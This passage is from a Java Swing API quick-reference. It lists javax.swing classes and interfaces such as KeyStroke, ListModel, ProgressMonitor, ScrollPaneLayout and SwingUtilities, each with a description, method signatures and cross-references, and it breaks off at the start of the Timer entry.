 | public void setContentPane (Container contentPane); | hidden
 | public void setGlassPane (Component glassPane); | hidden
 | public void setLayeredPane (JLayeredPane layeredPane); | hidden
// | Public Methods Overriding Container
 | public void remove (Component comp); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
 | protected String paramString (); |
// | Protected Instance Methods
 | protected JRootPane createRootPane (); |
 | protected boolean isRootPaneCheckingEnabled (); |
 | protected void setRootPane (JRootPane root); | hidden
 | protected void setRootPaneCheckingEnabled (boolean enabled); | hidden
 | protected void windowInit (); |
// | Protected Instance Fields
 | protected AccessibleContext accessibleContext ; |
 | protected JRootPane rootPane ; |
 | protected boolean rootPaneCheckingEnabled ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->java.awt.Window-->JWindow(Accessible,RootPaneContainer)

KeyStroke | Java 1.2
javax.swing | serializable

This class represents a single keystroke, specified either as a character or, more flexibly, as a keycode plus a set of keyboard modifiers. KeyStroke objects are immutable, and the KeyStroke class maintains a cache of the objects. There is no public KeyStroke constructor. Instead, call one of the static getKeyStroke() methods to obtain a reference to a KeyStroke object that represents the desired keystroke. Note that some versions of getKeyStroke() take a boolean argument that specifies whether the KeyStroke represents a key release event instead of a key press event. The keyCode argument to getKeyStroke() should be one of the VK_ virtual key constants defined by java.awt.event.KeyEvent. The modifiers argument should be a bitmask composed of the ALT_MASK, CTRL_MASK, META_MASK, and SHIFT_MASK constants defined by java.awt.Event.

See also the registerKeyboardAction() method of JComponent, the setAccelerator() method of JMenuItem, and javax.awt.swing.text.Keymap.

public class KeyStroke implements Serializable {
// | No Constructor
// | Public Class Methods
 | public static KeyStroke getKeyStroke (char keyChar);
 | public static KeyStroke getKeyStroke (String s);
 | public static KeyStroke getKeyStroke (int keyCode, int modifiers);
 | public static KeyStroke getKeyStroke (int keyCode, int modifiers, boolean onKeyRelease);
 | public static KeyStroke getKeyStrokeForEvent (java.awt.event.KeyEvent anEvent);
// | Property Accessor Methods (by property name)
 | public char getKeyChar ();
 | public int getKeyCode ();
 | public int getModifiers ();
 | public boolean isOnKeyRelease ();
// | Public Methods Overriding Object
 | public boolean equals (Object anObject);
 | public int hashCode ();
 | public String toString ();
// | Deprecated Public Methods
# | public static KeyStroke getKeyStroke (char keyChar, boolean onKeyRelease);
}

Hierarchy: Object-->KeyStroke(Serializable)

Passed To: JComponent.{getActionForKeyStroke(), getConditionForKeyStroke(), registerKeyboardAction(), unregisterKeyboardAction()}, JMenu.setAccelerator(), JMenuItem.setAccelerator(), javax.swing.text.JTextComponent.KeyBinding.KeyBinding(), javax.swing.text.Keymap.{addActionForKeyStroke(), getAction(), isLocallyDefined(), removeKeyStrokeBinding()}

Returned By: JComponent.getRegisteredKeyStrokes(), JMenuItem.getAccelerator(), KeyStroke.{getKeyStroke(), getKeyStrokeForEvent()}, javax.swing.text.Keymap.{getBoundKeyStrokes(), getKeyStrokesForAction()}

Type Of: javax.swing.text.JTextComponent.KeyBinding.key

ListCellRenderer Java 1.2
javax.swing

This interface defines the method that must be implemented by any object that wants to be able to render items in a JList component. Most applications can rely on the default behavior of JList (to use a DefaultListCellRenderer) and never need to implement or use this interface. getListCellRendererComponent() is passed information about the list item that is to be rendered; it should return a lightweight java.awt.Component capable of rendering the list item. The JList object first positions this component at the desired location by calling its setBounds() method and then asks the component to draw itself by calling paint(). Note, however, that the component is never actually added to the component hierarchy.

public abstract interface ListCellRenderer {
// | Public Instance Methods
 | public abstract Component getListCellRendererComponent (JList list, Object value, int index, boolean isSelected, boolean cellHasFocus);
}

Implementations: DefaultListCellRenderer

Passed To: JComboBox.setRenderer(), JList.setCellRenderer()

Returned By: JComboBox.getRenderer(), JList.getCellRenderer()

Type Of: JComboBox.renderer

ListModel | Java 1.2
javax.swing | model

This interface defines the methods that must be implemented by any object that wants to maintain a list of values for display in a JList or similar component. A ListModel must be able to return the size of the list, return any numbered element of the list, and fire a ListDataEvent event to any registered ListDataListener objects whenever the contents of the list changes. ListModel implementations that represent immutable lists can provide dummy no-op implementations of the event registration methods. Most applications do not need to implement this interface; they can work with JList directly or use the DefaultListModel class.

public abstract interface ListModel {
// | Event Registration Methods (by event name)
 | public abstract void addListDataListener (javax.swing.event.ListDataListener l);
 | public abstract void removeListDataListener (javax.swing.event.ListDataListener l);
// | Public Instance Methods
 | public abstract Object getElementAt (int index);
 | public abstract int getSize ();
}

Implementations: AbstractListModel, ComboBoxModel

Passed To: JList.{JList(), setModel()}

Returned By: JList.getModel()

ListSelectionModel | Java 1.2
javax.swing | model

This interface defines the methods that an object must implement if it wants to keep track of the selection state for a JList, JTable, or similar component. Most applications use DefaultListSelectionModel and never have to implement this interface.

public abstract interface ListSelectionModel {
// | Public Constants
 | public static final int MULTIPLE_INTERVAL_SELECTION ; | =2
 | public static final int SINGLE_INTERVAL_SELECTION ; | =1
 | public static final int SINGLE_SELECTION ; | =0
// | Event Registration Methods (by event name)
 | public abstract void addListSelectionListener (javax.swing.event.ListSelectionListener x); |
 | public abstract void removeListSelectionListener (javax.swing.event.ListSelectionListener x); |
// | Property Accessor Methods (by property name)
 | public abstract int getAnchorSelectionIndex (); |
 | public abstract void setAnchorSelectionIndex (int index); |
 | public abstract int getLeadSelectionIndex (); |
 | public abstract void setLeadSelectionIndex (int index); |
 | public abstract int getMaxSelectionIndex (); |
 | public abstract int getMinSelectionIndex (); |
 | public abstract boolean isSelectionEmpty (); |
 | public abstract int getSelectionMode (); |
 | public abstract void setSelectionMode (int selectionMode); |
 | public abstract boolean getValueIsAdjusting (); |
 | public abstract void setValueIsAdjusting (boolean valueIsAdjusting); |
// | Public Instance Methods
 | public abstract void addSelectionInterval (int index0, int index1); |
 | public abstract void clearSelection (); |
 | public abstract void insertIndexInterval (int index, int length, boolean before); |
 | public abstract boolean isSelectedIndex (int index); |
 | public abstract void removeIndexInterval (int index0, int index1); |
 | public abstract void removeSelectionInterval (int index0, int index1); |
 | public abstract void setSelectionInterval (int index0, int index1); |
}

Implementations: DefaultListSelectionModel

Passed To: JList.setSelectionModel(), JTable.{JTable(), setSelectionModel()}, javax.swing.table.DefaultTableColumnModel.setSelectionModel(), javax.swing.table.TableColumnModel.setSelectionModel()

Returned By: JList.{createSelectionModel(), getSelectionModel()}, JTable.{createDefaultSelectionModel(), getSelectionModel()}, javax.swing.table.DefaultTableColumnModel.{createSelectionModel(), getSelectionModel()}, javax.swing.table.TableColumnModel.getSelectionModel()

Type Of: JTable.selectionModel, javax.swing.table.DefaultTableColumnModel.selectionModel

LookAndFeel Java 1.2
javax.swing

This abstract class defines the methods that a pluggable look-and-feel must implement. It also defines some useful static convenience methods. Application programmers should never have to use or subclass this class. If you are implementing a look-and-feel, you have to subclass this class and define the abstract methods, of course. You probably also want to override the default no-op initialize() and getDefaults() methods. Finally, you have to provide implementations of all the abstract classes in javax.swing.plaf.

public abstract class LookAndFeel {
// | Public Constructors
 | public LookAndFeel (); |
// | Public Class Methods
 | public static void installBorder (JComponent c, String defaultBorderName); |
 | public static void installColors (JComponent c, String defaultBgName, String defaultFgName); |
 | public static void installColorsAndFont (JComponent c, String defaultBgName, String defaultFgName, String defaultFontName); |
 | public static Object makeIcon (Class baseClass, String gifFile); |
 | public static javax.swing.text.JTextComponent.KeyBinding[ ] makeKeyBindings (Object[ ] keyBindingList); |
 | public static void uninstallBorder (JComponent c); |
// | Property Accessor Methods (by property name)
 | public UIDefaults getDefaults (); | constant
 | public abstract String getDescription (); |
 | public abstract String getID (); |
 | public abstract String getName (); |
 | public abstract boolean isNativeLookAndFeel (); |
 | public abstract boolean isSupportedLookAndFeel (); |
// | Public Instance Methods
 | public void initialize (); | empty
 | public void uninitialize (); | empty
// | Public Methods Overriding Object
 | public String toString (); |
}

Passed To: UIManager.{addAuxiliaryLookAndFeel(), removeAuxiliaryLookAndFeel(), setLookAndFeel()}

Returned By: UIManager.{getAuxiliaryLookAndFeels(), getLookAndFeel()}

MenuElement Java 1.2
javax.swing

This interface defines methods that all menu components must implement. The methods allow menu navigation and event handling to be performed in a standard way. Application programmers should never have to implement this interface or use the methods it defines, unless they want to place components other than JMenuItem and its subclasses into menus. See also MenuSelectionManager.

public abstract interface MenuElement {
// | Public Instance Methods
 | public abstract Component getComponent ();
 | public abstract MenuElement[ ] getSubElements ();
 | public abstract void menuSelectionChanged (boolean isIncluded);
 | public abstract void processKeyEvent (java.awt.event.KeyEvent event, MenuElement[ ] path, MenuSelectionManager manager);
 | public abstract void processMouseEvent (java.awt.event.MouseEvent event, MenuElement[ ] path, MenuSelectionManager manager);
}

Implementations: JMenu, JMenuBar, JMenuItem, JPopupMenu

Passed To: JMenuBar.{processKeyEvent(), processMouseEvent()}, JMenuItem.{processKeyEvent(), processMouseEvent()}, JPopupMenu.{processKeyEvent(), processMouseEvent()}, MenuElement.{processKeyEvent(), processMouseEvent()}, MenuSelectionManager.setSelectedPath(), javax.swing.event.MenuDragMouseEvent.MenuDragMouseEvent(), javax.swing.event.MenuKeyEvent.MenuKeyEvent()

Returned By: JMenu.getSubElements(), JMenuBar.getSubElements(), JMenuItem.getSubElements(), JPopupMenu.getSubElements(), MenuElement.getSubElements(), MenuSelectionManager.getSelectedPath(), javax.swing.event.MenuDragMouseEvent.getPath(), javax.swing.event.MenuKeyEvent.getPath()

MenuSelectionManager Java 1.2
javax.swing

This class defines methods that manipulate hierarchies of menus. Application programmers do not need to use this class. There is only one instance of MenuSelectionManager, returned by the static defaultManager() method. Menu items rely on MenuSelectionManager for implementations of MenuElement methods, and MenuSelectionManager relies on the methods of the MenuElement interface to allow it to traverse menu hierarchies.

public class MenuSelectionManager {
// | Public Constructors
 | public MenuSelectionManager ();
// | Public Class Methods
 | public static MenuSelectionManager defaultManager ();
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l);
 | public void removeChangeListener (javax.swing.event.ChangeListener l);
// | Public Instance Methods
 | public void clearSelectedPath ();
 | public Component componentForPoint (Component source, java.awt.Point sourcePoint);
 | public MenuElement[ ] getSelectedPath ();
 | public boolean isComponentPartOfCurrentMenu (Component c);
 | public void processKeyEvent (java.awt.event.KeyEvent e);
 | public void processMouseEvent (java.awt.event.MouseEvent event);
 | public void setSelectedPath (MenuElement[ ] path);
// | Protected Instance Methods
 | protected void fireStateChanged ();
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ;
 | protected javax.swing.event.EventListenerList listenerList ;
}

Passed To: JMenuBar.{processKeyEvent(), processMouseEvent()}, JMenuItem.{processKeyEvent(), processMouseEvent()}, JPopupMenu.{processKeyEvent(), processMouseEvent()}, MenuElement.{processKeyEvent(), processMouseEvent()}, javax.swing.event.MenuDragMouseEvent.MenuDragMouseEvent(), javax.swing.event.MenuKeyEvent.MenuKeyEvent()

Returned By: MenuSelectionManager.defaultManager(), javax.swing.event.MenuDragMouseEvent.getMenuSelectionManager(), javax.swing.event.MenuKeyEvent.getMenuSelectionManager()

MutableComboBoxModel | Java 1.2
javax.swing | model

This interface extends ComboBoxModel to add support for adding and removing elements from the list of choices displayed by a JComboBox. See also ComboBoxModel and DefaultComboBoxModel.

public abstract interface MutableComboBoxModel extends ComboBoxModel {
// | Public Instance Methods
 | public abstract void addElement (Object obj);
 | public abstract void insertElementAt (Object obj, int index);
 | public abstract void removeElement (Object obj);
 | public abstract void removeElementAt (int index);
}

Hierarchy: (MutableComboBoxModel(ComboBoxModel(ListModel)))

Implementations: DefaultComboBoxModel

OverlayLayout | Java 1.2
javax.swing | serializable layout manager

This layout manager arranges the children of the container it manages so that the alignment points (specified with the setAlignmentX() and setAlignmentY() methods of JComponent) are on top of each other. This usually means that the children overlap. AbstractButton relies on this layout manager, but applications rarely use it.

public class OverlayLayout implements java.awt.LayoutManager2, Serializable {
// | Public Constructors
 | public OverlayLayout (Container target); |
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String name, Component comp); | empty
 | public void layoutContainer (Container target); |
 | public java.awt.Dimension minimumLayoutSize (Container target); |
 | public java.awt.Dimension preferredLayoutSize (Container target); |
 | public void removeLayoutComponent (Component comp); | empty
// | Methods Implementing LayoutManager2
 | public void addLayoutComponent (Component comp, Object constraints); | empty
 | public float getLayoutAlignmentX (Container target); |
 | public float getLayoutAlignmentY (Container target); |
 | public void invalidateLayout (Container target); |
 | public java.awt.Dimension maximumLayoutSize (Container target); |
}

Hierarchy: Object-->OverlayLayout(java.awt.LayoutManager2(java.awt.LayoutManager),Serializable)

ProgressMonitor Java 1.2
javax.swing

This class implements a progress monitor. After creating a ProgressMonitor, a program periodically calls setProgress() to indicate its progress toward the completion of a task. Unless progress is quite rapid, the ProgressMonitor displays a dialog box that uses a JProgressBar to display progress to the user. Call setNote() to set the text to display in the dialog box. You can also specify a permanent title or heading for the dialog box with the second argument to the constructor. The ProgressMonitor dialog box automatically closes when the progress property reaches the value of the maximum property. If you want to close it before the task completes, call close().

ProgressMonitor suffers from an important flaw: if the user clicks the Cancel buttons in the dialog box, the dialog is dismissed. Unfortunately, the dialog does not fire any event to indicate that this has happened, so your program must call isCancelled() each time it calls setProgress(), to determine whether the user has requested that the operation be cancelled. A related flaw is that the dialog box contains an extraneous Okay button that behaves just like the Cancel button.

public class ProgressMonitor {
// | Public Constructors
 | public ProgressMonitor (Component parentComponent, Object message, String note, int min, int max);
// | Property Accessor Methods (by property name)
 | public boolean isCanceled ();
 | public int getMaximum ();
 | public void setMaximum (int m);
 | public int getMillisToDecideToPopup ();
 | public void setMillisToDecideToPopup (int millisToDecideToPopup);
 | public int getMillisToPopup ();
 | public void setMillisToPopup (int millisToPopup);
 | public int getMinimum ();
 | public void setMinimum (int m);
 | public String getNote ();
 | public void setNote (String note);
// | Public Instance Methods
 | public void close ();
 | public void setProgress (int nv);
}

Returned By: ProgressMonitorInputStream.getProgressMonitor()

ProgressMonitorInputStream Java 1.2
javax.swing

This class combines a java.io.InputStream with a ProgressMonitor to display a program's progress in reading a stream. It is useful when reading a long file or when doing time-consuming processing on data from a shorter file. If the user clicks the Cancel button in the dialog, the next call to read data from the stream results in an InterruptedIOException. A ProgressMonitorInputStream can only be wrapped around a stream whose available() method returns the total remaining number of bytes in the stream, such as a java.io.FileInputStream. It does not work with java.io.PipedInputStream, for example.

public class ProgressMonitorInputStream extends java.io.FilterInputStream {
// | Public Constructors
 | public ProgressMonitorInputStream (Component parentComponent, Object message, java.io.InputStream in); |
// | Public Instance Methods
 | public ProgressMonitor getProgressMonitor (); |
// | Public Methods Overriding FilterInputStream
 | public void close () throws java.io.IOException; |
 | public int read () throws java.io.IOException; |
 | public int read (byte[ ] b) throws java.io.IOException; |
 | public int read (byte[ ] b, int off, int len) throws java.io.IOException; |
 | public void reset () throws java.io.IOException; | synchronized
 | public long skip (long n) throws java.io.IOException; |
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->ProgressMonitorInputStream

Renderer Java 1.2
javax.swing

This interface defines the basic methods that must be implemented by any class that wants to render a value of some specified type on behalf of a general-purpose component, such as a JList. In practice, the setValue() method defined by this interface is under-constrained, and this interface is unused in the Swing API. Three interfaces, with more specialized methods, are used in its place: ListCellRenderer, javax.swing.table.TableCellRenderer and javax.swing.tree.TreeCellRenderer.

public abstract interface Renderer {
// | Public Instance Methods
 | public abstract Component getComponent ();
 | public abstract void setValue (Object aValue, boolean isSelected);
}
RepaintManager Java 1.2
javax.swing

This class manages the repaint and relayout process for all Swing components in an application. It also provides a shared off-screen image for Swing components that perform double-buffering. RepaintManager is an integral part of the Swing GUI framework and is used extensively by JComponent internals. Applications rarely need to use it directly. If yours does, you can obtain the current RepaintManager with the static currentManager() method.

public class RepaintManager {
// | Public Constructors
 | public RepaintManager (); |
// | Public Class Methods
 | public static RepaintManager currentManager (JComponent c); |
 | public static RepaintManager currentManager (Component c); |
 | public static void setCurrentManager (RepaintManager aRepaintManager); |
// | Property Accessor Methods (by property name)
 | public boolean isDoubleBufferingEnabled (); | default:true
 | public void setDoubleBufferingEnabled (boolean aFlag); |
 | public java.awt.Dimension getDoubleBufferMaximumSize (); |
 | public void setDoubleBufferMaximumSize (java.awt.Dimension d); |
// | Public Instance Methods
 | public void addDirtyRegion (JComponent c, int x, int y, int w, int h); | synchronized
 | public void addInvalidComponent (JComponent invalidComponent); | synchronized
 | public java.awt.Rectangle getDirtyRegion (JComponent aComponent); |
 | public java.awt.Image getOffscreenBuffer (Component c, int proposedWidth, int proposedHeight); |
 | public boolean isCompletelyDirty (JComponent aComponent); |
 | public void markCompletelyClean (JComponent aComponent); |
 | public void markCompletelyDirty (JComponent aComponent); |
 | public void paintDirtyRegions (); |
 | public void removeInvalidComponent (JComponent component); | synchronized
 | public void validateInvalidComponents (); |
// | Public Methods Overriding Object
 | public String toString (); | synchronized
}

Passed To: RepaintManager.setCurrentManager()

Returned By: RepaintManager.currentManager()

RootPaneContainer Java 1.2
javax.swing

This interface is implemented by all Swing window and applet classes that have a JRootPane as their single child. It defines getRootPane() to return that JRootPane. It also defines other methods to return the various children of the JRootPane. getContentPane() is the most frequently used method of this interface: it returns the container to which children are added.

public abstract interface RootPaneContainer {
// | Property Accessor Methods (by property name)
 | public abstract Container getContentPane ();
 | public abstract void setContentPane (Container contentPane);
 | public abstract Component getGlassPane ();
 | public abstract void setGlassPane (Component glassPane);
 | public abstract JLayeredPane getLayeredPane ();
 | public abstract void setLayeredPane (JLayeredPane layeredPane);
 | public abstract JRootPane getRootPane ();
}

Implementations: JApplet, JDialog, JFrame, JInternalFrame, JWindow

Scrollable Java 1.2
javax.swing

This interface defines methods that should be implemented by any component that is likely to be placed within a JScrollPane or similar scrolling container. A JScrollPane can provide more intelligent scrolling services for a Scrollable component than for a non-Scrollable component.

public abstract interface Scrollable {
// | Public Instance Methods
 | public abstract java.awt.Dimension getPreferredScrollableViewportSize ();
 | public abstract int getScrollableBlockIncrement (java.awt.Rectangle visibleRect, int orientation, int direction);
 | public abstract boolean getScrollableTracksViewportHeight ();
 | public abstract boolean getScrollableTracksViewportWidth ();
 | public abstract int getScrollableUnitIncrement (java.awt.Rectangle visibleRect, int orientation, int direction);
}

Implementations: JList, JTable, JTree, javax.swing.text.JTextComponent

ScrollPaneConstants Java 1.2
javax.swing

This interface defines constants used by JScrollPane and ScrollPaneLayout. The int constants are the most interesting ones. They are the legal values for the setHorizontalScrollBarPolicy() and setVerticalScrollBarPolicy() methods of JScrollPane.

public abstract interface ScrollPaneConstants {
// | Public Constants
 | public static final String COLUMN_HEADER ; | ="COLUMN_HEADER"
 | public static final String HORIZONTAL_SCROLLBAR ; | ="HORIZONTAL_SCROLLBAR"
 | public static final int HORIZONTAL_SCROLLBAR_ALWAYS ; | =32
 | public static final int HORIZONTAL_SCROLLBAR_AS_NEEDED ; | =30
 | public static final int HORIZONTAL_SCROLLBAR_NEVER ; | =31
 | public static final String HORIZONTAL_SCROLLBAR_POLICY ; | ="HORIZONTAL_SCROLLBAR_POLICY"
 | public static final String LOWER_LEFT_CORNER ; | ="LOWER_LEFT_CORNER"
 | public static final String LOWER_RIGHT_CORNER ; | ="LOWER_RIGHT_CORNER"
 | public static final String ROW_HEADER ; | ="ROW_HEADER"
 | public static final String UPPER_LEFT_CORNER ; | ="UPPER_LEFT_CORNER"
 | public static final String UPPER_RIGHT_CORNER ; | ="UPPER_RIGHT_CORNER"
 | public static final String VERTICAL_SCROLLBAR ; | ="VERTICAL_SCROLLBAR"
 | public static final int VERTICAL_SCROLLBAR_ALWAYS ; | =22
 | public static final int VERTICAL_SCROLLBAR_AS_NEEDED ; | =20
 | public static final int VERTICAL_SCROLLBAR_NEVER ; | =21
 | public static final String VERTICAL_SCROLLBAR_POLICY ; | ="VERTICAL_SCROLLBAR_POLICY"
 | public static final String VIEWPORT ; | ="VIEWPORT"
}

Implementations: JScrollPane, ScrollPaneLayout

ScrollPaneLayout | Java 1.2
javax.swing | serializable layout manager

This class is the layout manager used by JScrollPane. It arranges up to nine components: the JViewport that contains the component being scrolled, the horizontal and vertical scrollbars, the column and row header components, and up to four small corner components. Applications typically use JScrollPane directly and do not have to use this class.

public class ScrollPaneLayout implements java.awt.LayoutManager, ScrollPaneConstants, Serializable {
// | Public Constructors
 | public ScrollPaneLayout (); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public JViewport getColumnHeader (); | default:null
 | public JScrollBar getHorizontalScrollBar (); | default:null
 | public int getHorizontalScrollBarPolicy (); | default:30
 | public void setHorizontalScrollBarPolicy (int x); |
 | public JViewport getRowHeader (); | default:null
 | public JScrollBar getVerticalScrollBar (); | default:null
 | public int getVerticalScrollBarPolicy (); | default:20
 | public void setVerticalScrollBarPolicy (int x); |
 | public JViewport getViewport (); | default:null
// | Public Instance Methods
 | public Component getCorner (String key); |
 | public void syncWithScrollPane (JScrollPane sp); |
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String s, Component c); |
 | public void layoutContainer (Container parent); |
 | public java.awt.Dimension minimumLayoutSize (Container parent); |
 | public java.awt.Dimension preferredLayoutSize (Container parent); |
 | public void removeLayoutComponent (Component c); |
// | Protected Instance Methods
 | protected Component addSingletonComponent (Component oldC, Component newC); |
// | Protected Instance Fields
 | protected JViewport colHead ; |
 | protected JScrollBar hsb ; |
 | protected int hsbPolicy ; |
 | protected Component lowerLeft ; |
 | protected Component lowerRight ; |
 | protected JViewport rowHead ; |
 | protected Component upperLeft ; |
 | protected Component upperRight ; |
 | protected JViewport viewport ; |
 | protected JScrollBar vsb ; |
 | protected int vsbPolicy ; |
// | Deprecated Public Methods
# | public java.awt.Rectangle getViewportBorderBounds (JScrollPane scrollpane); |
}

Hierarchy: Object-->ScrollPaneLayout(java.awt.LayoutManager,ScrollPaneConstants,Serializable)

Subclasses: ScrollPaneLayout.UIResource

ScrollPaneLayout.UIResource | Java 1.2
javax.swing | serializable layout manager

This class is a trivial subclass of ScrollPaneLayout that implements the UIResource marker interface. It is used only by look-and-feel implementations.

public static class ScrollPaneLayout.UIResource extends ScrollPaneLayout implements javax.swing.plaf.UIResource {
// | Public Constructors
 | public UIResource ();
}
SingleSelectionModel | Java 1.2
javax.swing | model

This interface defines the methods that must be implemented by a class that wants to keep track of a single selected item for a JTabbedPane, JMenuBar, JPopupMenu, or similar component. Applications do not often implement this interface. Instead, they rely on the DefaultSingleSelectionModel class, which is the default model for components that allow a single selected item.

public abstract interface SingleSelectionModel {
// | Event Registration Methods (by event name)
 | public abstract void addChangeListener (javax.swing.event.ChangeListener listener);
 | public abstract void removeChangeListener (javax.swing.event.ChangeListener listener);
// | Public Instance Methods
 | public abstract void clearSelection ();
 | public abstract int getSelectedIndex ();
 | public abstract boolean isSelected ();
 | public abstract void setSelectedIndex (int index);
}

Implementations: DefaultSingleSelectionModel

Passed To: JMenuBar.setSelectionModel(), JPopupMenu.setSelectionModel(), JTabbedPane.setModel()

Returned By: JMenuBar.getSelectionModel(), JPopupMenu.getSelectionModel(), JTabbedPane.getModel()

Type Of: JTabbedPane.model

SizeRequirements | Java 1.2
javax.swing | serializable

This class exists for the convenience of layout managers. It is used internally by BoxLayout and OverlayLayout. Application programmers should not need to use it. Component developers writing custom layout managers may find it useful.

public class SizeRequirements implements Serializable {
// | Public Constructors
 | public SizeRequirements ();
 | public SizeRequirements (int min, int pref, int max, float a);
// | Public Class Methods
 | public static int[ ] adjustSizes (int delta, SizeRequirements[ ] children);
 | public static void calculateAlignedPositions (int allocated, SizeRequirements total, SizeRequirements[ ] children, int[ ] offsets, int[ ] spans);
 | public static void calculateTiledPositions (int allocated, SizeRequirements total, SizeRequirements[ ] children, int[ ] offsets, int[ ] spans);
 | public static SizeRequirements getAlignedSizeRequirements (SizeRequirements[ ] children);
 | public static SizeRequirements getTiledSizeRequirements (SizeRequirements[ ] children);
// | Public Methods Overriding Object
 | public String toString ();
// | Public Instance Fields
 | public float alignment ;
 | public int maximum ;
 | public int minimum ;
 | public int preferred ;
}

Hierarchy: Object-->SizeRequirements(Serializable)

Passed To: Too many methods to list.

Returned By: SizeRequirements.{getAlignedSizeRequirements(), getTiledSizeRequirements()}, javax.swing.text.BoxView.{baselineRequirements(), calculateMajorAxisRequirements(), calculateMinorAxisRequirements()}, javax.swing.text.ParagraphView.calculateMinorAxisRequirements(), javax.swing.text.TableView.calculateMinorAxisRequirements(), javax.swing.text.html.BlockView.{calculateMajorAxisRequirements(), calculateMinorAxisRequirements()}, javax.swing.text.html.ParagraphView.calculateMinorAxisRequirements()

SwingConstants Java 1.2
javax.swing

This interface defines a number of constants used throughout the Swing API to specify component positions and orientations.

public abstract interface SwingConstants {
// | Public Constants
 | public static final int BOTTOM ; | =3
 | public static final int CENTER ; | =0
 | public static final int EAST ; | =3
 | public static final int HORIZONTAL ; | =0
 | public static final int LEADING ; | =10
 | public static final int LEFT ; | =2
 | public static final int NORTH ; | =1
 | public static final int NORTH_EAST ; | =2
 | public static final int NORTH_WEST ; | =8
 | public static final int RIGHT ; | =4
 | public static final int SOUTH ; | =5
 | public static final int SOUTH_EAST ; | =4
 | public static final int SOUTH_WEST ; | =6
 | public static final int TOP ; | =1
 | public static final int TRAILING ; | =11
 | public static final int VERTICAL ; | =1
 | public static final int WEST ; | =7
}

Implementations: AbstractButton, JCheckBoxMenuItem, JLabel, JProgressBar, JSeparator, JSlider, JTabbedPane, JTextField, JToolBar, SwingUtilities, javax.swing.text.View

SwingUtilities Java 1.2
javax.swing

This class defines a variety of static methods that are useful in Swing applications. Highlights include:

invokeLater(), invokeAndWait()

Place the specified Runnable object on the event queue, so that its run() method is invoked (later) from the event dispatch thread. invokeLater() returns immediately; invokeAndWait() blocks until the run() method has run. Since Swing is not generally thread safe, these methods are useful when you need to update the GUI from a thread that is not the event dispatch thread.

isEventDispatchThread()

Determines whether the current thread is the event dispatch thread.

updateComponentTreeUI()

Traverses the entire component tree rooted at the specified component and asks each component to update its UI delegate. This method is useful after you have changed the pluggable look-and-feel of a running application.

isLeftMouseButton(), isMiddleMouseButton(), isRightMouseButton()

Determine whether a specified MouseEvent involves the left, middle, or right mouse button. For portability reasons, this information is encoded in the modifiers property that the MouseEvent inherits. These methods simplify access to it.

getAncestorOfClass()

Given a component and a component class, this method searches
the ancestors of the component until it finds one of the
specified class.  getRoot(),
getRootPane(),
windowForComponent(), and
getAncestorNamed() are related methods.

public class SwingUtilities implements SwingConstants {
// | No Constructor
// | Public Class Methods
 | public static java.awt.Rectangle[ ] computeDifference (java.awt.Rectangle rectA, java.awt.Rectangle rectB);
 | public static java.awt.Rectangle computeIntersection (int x, int y, int width, int height, java.awt.Rectangle dest);
 | public static int computeStringWidth (java.awt.FontMetrics fm, String str);
 | public static java.awt.Rectangle computeUnion (int x, int y, int width, int height, java.awt.Rectangle dest);
 | public static java.awt.event.MouseEvent convertMouseEvent (Component source, java.awt.event.MouseEvent sourceEvent, Component destination);
 | public static java.awt.Point convertPoint (Component source, java.awt.Point aPoint, Component destination);
 | public static java.awt.Point convertPoint (Component source, int x, int y, Component destination);
 | public static void convertPointFromScreen (java.awt.Point p, Component c);
 | public static void convertPointToScreen (java.awt.Point p, Component c);
 | public static java.awt.Rectangle convertRectangle (Component source, java.awt.Rectangle aRectangle, Component destination);
 | public static Component findFocusOwner (Component c);
 | public static Accessible getAccessibleAt (Component c, java.awt.Point p);
 | public static Accessible getAccessibleChild (Component c, int i);
 | public static int getAccessibleChildrenCount (Component c);
 | public static int getAccessibleIndexInParent (Component c);
 | public static AccessibleStateSet getAccessibleStateSet (Component c);
 | public static Container getAncestorNamed (String name, Component comp);
 | public static Container getAncestorOfClass (Class c, Component comp);
 | public static Component getDeepestComponentAt (Component parent, int x, int y);
 | public static java.awt.Rectangle getLocalBounds (Component aComponent);
 | public static Component getRoot (Component c);
 | public static JRootPane getRootPane (Component c);
 | public static void invokeAndWait (Runnable doRun) throws InterruptedException, java.lang.reflect.InvocationTargetException;
 | public static void invokeLater (Runnable doRun);
 | public static boolean isDescendingFrom (Component a, Component b);
 | public static boolean isEventDispatchThread ();
 | public static boolean isLeftMouseButton (java.awt.event.MouseEvent anEvent);
 | public static boolean isMiddleMouseButton (java.awt.event.MouseEvent anEvent);
 | public static final boolean isRectangleContainingRectangle (java.awt.Rectangle a, java.awt.Rectangle b);
 | public static boolean isRightMouseButton (java.awt.event.MouseEvent anEvent);
 | public static String layoutCompoundLabel (java.awt.FontMetrics fm, String text, Icon icon, int verticalAlignment, int horizontalAlignment, int verticalTextPosition, int horizontalTextPosition, java.awt.Rectangle viewR, java.awt.Rectangle iconR, java.awt.Rectangle textR, int textIconGap);
 | public static String layoutCompoundLabel (JComponent c, java.awt.FontMetrics fm, String text, Icon icon, int verticalAlignment, int horizontalAlignment, int verticalTextPosition, int horizontalTextPosition, java.awt.Rectangle viewR, java.awt.Rectangle iconR, java.awt.Rectangle textR, int textIconGap);
 | public static void paintComponent (java.awt.Graphics g, Component c, Container p, java.awt.Rectangle r);
 | public static void paintComponent (java.awt.Graphics g, Component c, Container p, int x, int y, int w, int h);
 | public static void updateComponentTreeUI (Component c);
 | public static java.awt.Window windowForComponent (Component aComponent);
}

Hierarchy: Object-->SwingUtilities(SwingConstants)

Timer | Java 1.2
javax.swing | serializable

This utility class fires an ActionEvent to a list of registered ActionListener objects after a specified period of time has elapsed. Optionally, it may continue to fire action events at specified time intervals. This class is useful for triggering delayed or repeated actions, such as animations. After creating a Timer object, adding one or more ActionListener objects, and setting any necessary properties, call start() to make the Timer object start timing and firing events. If you have configured the Timer to fire events repeatedly, use the stop() method when you want the events to stop.

